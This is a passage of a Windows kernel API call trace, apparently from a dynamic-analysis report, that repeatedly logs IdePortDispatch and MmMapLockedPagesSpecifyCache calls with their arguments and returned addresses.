IdePortDispatch () returned 0x103 [0112.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a1000 [0112.145] IdePortDispatch () returned 0x103 [0112.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a4000 [0112.146] IdePortDispatch () returned 0x103 [0112.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a7000 [0112.146] IdePortDispatch () returned 0x103 [0112.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0112.147] IdePortDispatch () returned 0x103 [0112.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034af000 [0112.147] IdePortDispatch () returned 0x103 [0112.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0112.148] IdePortDispatch () returned 0x103 [0112.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b3000 [0112.152] IdePortDispatch () returned 0x103 [0112.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b5000 [0112.152] IdePortDispatch () returned 0x103 [0112.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b7000 [0112.153] IdePortDispatch () returned 0x103 [0112.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b9000 [0112.153] IdePortDispatch () returned 0x103 [0112.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bb000 [0112.153] IdePortDispatch () returned 0x103 [0112.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bd000 [0112.154] IdePortDispatch () returned 0x103 [0112.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bf000 [0112.161] IdePortDispatch () returned 0x103 [0112.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0112.167] IdePortDispatch () returned 0x103 [0112.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c3000 [0112.168] IdePortDispatch () returned 0x103 [0112.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c5000 [0112.169] IdePortDispatch () returned 0x103 [0112.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c7000 [0112.169] IdePortDispatch () returned 0x103 [0112.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0112.169] IdePortDispatch () returned 0x103 [0112.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cb000 [0112.170] IdePortDispatch () returned 0x103 [0112.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cd000 [0112.170] IdePortDispatch () returned 0x103 [0112.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cf000 [0112.171] IdePortDispatch () returned 0x103 [0112.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d1000 [0112.171] IdePortDispatch () returned 0x103 [0112.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f4000 [0112.256] IdePortDispatch () returned 0x103 [0112.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0112.257] IdePortDispatch () returned 0x103 [0112.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f8000 [0112.257] IdePortDispatch () returned 0x103 [0112.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fa000 [0112.261] IdePortDispatch () returned 0x103 [0112.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fc000 [0112.262] IdePortDispatch () returned 0x103 [0112.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fe000 [0112.262] IdePortDispatch () returned 0x103 [0112.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0112.263] IdePortDispatch () returned 0x103 [0112.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003502000 [0112.264] IdePortDispatch () returned 0x103 [0112.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003504000 [0112.267] IdePortDispatch () returned 0x103 [0112.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003506000 [0112.268] IdePortDispatch () returned 0x103 [0112.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003508000 [0112.268] IdePortDispatch () returned 0x103 [0112.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350a000 [0112.269] IdePortDispatch () returned 0x103 [0112.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ee000 [0112.269] IdePortDispatch () returned 0x103 [0112.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba1000 [0112.270] IdePortDispatch () returned 0x103 [0112.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba3000 [0112.271] IdePortDispatch () returned 0x103 [0112.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf6000 [0112.271] IdePortDispatch () returned 0x103 [0112.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf9000 [0112.272] IdePortDispatch () returned 0x103 [0112.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfb000 [0112.275] IdePortDispatch () returned 0x103 [0112.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfd000 [0112.278] IdePortDispatch () returned 0x103 [0112.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0112.279] IdePortDispatch () returned 0x103 [0112.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c83000 [0112.279] IdePortDispatch () returned 0x103 [0112.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c86000 [0112.279] IdePortDispatch () returned 0x103 [0112.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c89000 [0112.280] IdePortDispatch () returned 0x103 [0112.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8b000 [0112.284] IdePortDispatch () returned 0x103 [0112.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8f000 [0112.284] IdePortDispatch () returned 0x103 [0112.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdd000 [0112.285] IdePortDispatch () returned 0x103 [0112.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce1000 [0112.285] IdePortDispatch () returned 0x103 [0112.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce4000 [0112.286] IdePortDispatch () returned 0x103 [0112.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce9000 [0112.286] IdePortDispatch () returned 0x103 [0112.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ced000 [0112.287] IdePortDispatch () returned 0x103 [0112.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c81000 [0112.446] IdePortDispatch () returned 0x103 [0112.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0112.450] IdePortDispatch () returned 0x103 [0112.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c87000 [0112.450] IdePortDispatch () returned 0x103 [0112.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8a000 [0112.451] IdePortDispatch () returned 0x103 [0112.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8d000 [0112.451] IdePortDispatch () returned 0x103 [0112.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0112.451] IdePortDispatch () returned 0x103 [0112.452] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c96000 [0112.452] IdePortDispatch () returned 0x103 [0112.452] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c99000 [0112.452] IdePortDispatch () returned 0x103 [0112.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9c000 [0112.453] IdePortDispatch () returned 0x103 [0112.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9f000 [0112.453] IdePortDispatch () returned 0x103 [0112.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca2000 [0112.453] IdePortDispatch () returned 0x103 [0112.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca5000 [0112.454] IdePortDispatch () returned 0x103 [0112.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca8000 [0112.457] IdePortDispatch () returned 0x103 [0112.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cca000 [0112.462] IdePortDispatch () returned 0x103 [0112.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ccd000 [0112.463] IdePortDispatch () returned 0x103 [0112.480] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce6000 [0112.480] IdePortDispatch () returned 0x103 [0112.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce9000 [0112.484] IdePortDispatch () returned 0x103 [0112.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cef000 [0112.484] IdePortDispatch () returned 0x103 [0112.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf2000 [0112.485] IdePortDispatch () returned 0x103 [0112.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0112.485] IdePortDispatch () returned 0x103 [0112.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf9000 [0112.486] IdePortDispatch () returned 0x103 [0112.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfc000 [0112.486] IdePortDispatch () returned 0x103 [0112.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cff000 [0112.487] IdePortDispatch () returned 0x103 [0112.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d02000 [0112.487] IdePortDispatch () returned 0x103 [0112.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d05000 [0112.487] IdePortDispatch () returned 0x103 [0112.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d08000 [0112.488] IdePortDispatch () returned 0x103 [0112.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0b000 [0112.489] IdePortDispatch () returned 0x103 [0112.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0e000 [0112.492] IdePortDispatch () returned 0x103 [0112.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d12000 [0112.497] IdePortDispatch () returned 0x103 [0112.501] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0112.501] IdePortDispatch () returned 0x103 [0112.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d18000 [0112.509] IdePortDispatch () returned 0x103 [0112.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1b000 [0112.512] IdePortDispatch () returned 0x103 [0112.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d21000 [0112.530] IdePortDispatch () returned 0x103 [0112.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d24000 [0112.531] IdePortDispatch () returned 0x103 [0112.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0112.531] IdePortDispatch () returned 0x103 [0112.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2b000 [0112.534] IdePortDispatch () returned 0x103 [0112.535] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2e000 [0112.535] IdePortDispatch () returned 0x103 [0112.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d31000 [0112.538] IdePortDispatch () returned 0x103 [0112.541] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d34000 [0112.541] IdePortDispatch () returned 0x103 [0112.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d38000 [0112.544] IdePortDispatch () returned 0x103 [0112.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3b000 [0112.545] IdePortDispatch () returned 0x103 [0112.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3e000 [0112.546] IdePortDispatch () returned 0x103 [0112.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d42000 [0112.546] IdePortDispatch () returned 0x103 [0112.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d64000 [0112.548] IdePortDispatch () returned 0x103 [0112.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d67000 [0112.548] IdePortDispatch () returned 0x103 [0112.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6a000 [0112.548] IdePortDispatch () returned 0x103 [0112.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6d000 [0112.549] IdePortDispatch () returned 0x103 [0112.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d70000 [0112.549] IdePortDispatch () returned 0x103 [0112.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d73000 [0112.549] IdePortDispatch () returned 0x103 [0112.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d76000 [0112.550] IdePortDispatch () returned 0x103 [0112.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7a000 [0112.552] IdePortDispatch () returned 0x103 [0112.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7d000 [0112.553] IdePortDispatch () returned 0x103 [0112.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d80000 [0112.553] IdePortDispatch () returned 0x103 [0112.553] MmMapLockedPagesSpecifyCache 